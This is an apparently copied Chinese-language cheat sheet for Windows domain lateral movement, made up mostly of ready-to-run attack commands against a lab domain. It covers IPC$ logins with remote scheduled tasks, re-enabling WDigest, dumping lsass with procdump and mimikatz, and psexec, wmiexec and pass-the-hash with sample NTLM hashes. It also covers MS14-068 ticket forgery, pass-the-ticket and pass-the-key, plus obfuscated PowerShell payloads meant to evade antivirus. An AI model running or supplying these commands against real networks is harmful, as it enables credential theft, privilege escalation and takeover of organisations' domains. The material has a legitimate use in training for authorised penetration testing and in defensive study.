文章目录
横向
ipc$连接和定时任务
at
at 使用条件:windows2012以下
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
schtasks
#schtasks >=Windows2012 成立条件
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务,对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
流程
利用流程:
1. 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接
#建立连接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
当无法获得明文密码时
- Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。
- Windows2012以下版本安装KB2871997补丁,也会导致无法获取明文密码。
解决办法:
- 利用hash传递(pth)进行移动
- 利用其他服务协议(smb,wmi)进行哈希移动
- 利用注册表操作开启wdigest auth值进行获取
- 利用工具或者第三方平台(hachcat)进行破解获取
注册表修改
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /D 1 /F
破解hash,获取密码
Procdump+Mimikatz
procdump是微软官方软件,下载地址
首先运行procdump后本地生成lsass.dmp文件
然后procdump 配合 mimikatz:
procdump -accepteula -ma lsass.exe lsass.dmp
#mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
hashcat是kali自带的,用法
Hashcat是自称世界上最快的密码恢复工具。
彩虹表免费下载
域横向移动-smb服务-psexec
psexec
原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
注意事项:
- 需要远程系统开启admin$共享(默认是开启的)
- 在使用ipc$连接目标系统后,不需要输入账号和密码
- 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
- 使用psexec可以直接获得system权限的交互式shell
-accepteula是指第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框。
–
-s是指以System权限运行远程进程,获得一个System权限的交互式Shell。如果不使用该参数,会获得一个Administrator权限的shell。
psexec有两种用法
第一种 先有 ipc 链接,psexec 需要明文或 hash 传递 net use \\域控ip\ipc$ "password" /user:username(域内用domain\username) PsExec64.exe -accepteula \\域控ip -s cmd.exe
第二种 不用建立ipc连接 psexec \\域控ip -u administrator -p password -s cmd psexec \\域控ip -u administrator -p password cmd.exe /c "net user" psexec -hashes :$HASH$ ./administrator@域控ip psexec -hashes :$HASH$ domain/administrator@域控ip psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@域控ip 官方 Pstools 无法采用 hash 连接,因此需要第三方库(impacket)
Metasploit中的psexec模块
使用exploit/windows/smb/psexec_psh模块生成的payload比exploit/windows/smb/psexec的EXE版本好,因为前者是使用powershell实现的,powershell脚本使用了混淆技术达到绕过杀软的目的。如果内网中的一些机器是XP或者2003版本的,我们可以使用后者的payload。
set rhosts 192.168.108.101(域控IP)
set smbuser administrator
set smbpass Admin12345
exploit
域横向移动—WMI服务利用–wmic&wmiexec
WMI
WMI(Windows Management Instrumentation) 是通过 135 端口 进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
wmic /node:域控ip /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
缺点就是无回显,只能写入在文件中,然后再读取文件:
系统自带命令 cscript 明文传递,有回显,配合vmiexec.vbs文件:
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
vmiexec
vmiexec明文或hash 传递 ,有回显, exe版本(impacket软件包内):
#套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
域横向 PTH&PTK&PTT 哈希票据传递
PTH(pass the hash) : 利用 lm 或 ntlm 的值。
PTT(pass the ticket): 利用的票据凭证 TGT 。
PTK(pass the key) : 利用的 ekeys 、aes256 。
PTH
原理:
攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
适用条件:
这类攻击适用于:域/工作组环境,可以获得 hash,但是条件不允许对 hash 爆破,内网中存在和当前机器相同的密码,从 windows 到
windows 横向 pth 这一类攻击方法比较广泛
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
对于 8.1/win2012 r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击。
打没打 KB2871997 补丁后的影响(查看补丁就是看信息收集的systeminfo):
PTH:没打补丁用户都可以连接,打了补丁只能 administrator 连接。
PTK:打了补丁才能r用户都可以连接,采用 aes256 连接。
pth 攻击,mimikatz 使用 hash 创建与访问令牌,然后使用此令牌身份在当前机器上起一进程
# mimikatz
privilege::debug
# NTLM
sekurlsa::logonPasswords
# AES
sekurlsa::ekeys
sekurlsa::pth /domain:域控名 /user: 相同的用户名 /ntlm: NTLM 哈希
攻击命令上并没有指定IP地址,这是一种随机攻击,IP地址是前期信息收集的,连接时,可以遍历收集到的IP地址,看哪个有回显,攻击成功反弹回来了一个cmd,在这个cmd中进行连接。
PTT
利用 Kerberos 协议 进行攻击
三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到 内存中实现连接。
MS14-068的危害是造成允许域内任何一个普通用户,将自己提升至域管权限。
Golden ticket(黄金票据)、SILVER ticket(白银票据)属于权限维持技术
微软给出的补丁是 kb3011780
- ms14068
# 查看当前 sid
whoami/user
# 查看凭证列表
klist
# 查看当前机器凭证
kerberos::list
# mimikatz 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
# 删除所有凭证
klist purge
# 利用 ms14-068 生成 TGT 数据
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331 -2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
# 将票据注入到内存中
kerberos::ptc 票据文件
mimikatz.exe
kerberos::ptc TGT_mary@god.org.ccache"
exit
# 查看域名
net time /domain
# 利用
dir \\OWA20210CN-God.god.org\c$
- 工具kekeo
# 生成票据
./kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
# 导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
# 查看凭证
klist
# 利用 net use 载入
dir \\OWA20210CN-God.god.org\c$
- local本地票据(需要管理员权限):
10个小时以内的票据
原理就是假如有原来建立连接的本地票据,导出来利用:
privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
PTK
PTK aes256 传递,打补丁后的工作组及域连接(是打了那个补丁才能用,KB2871997):
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
#同理,爆破时这三个地方也都可以当做字典
以上内容都是转载他人的,只在此做个记录!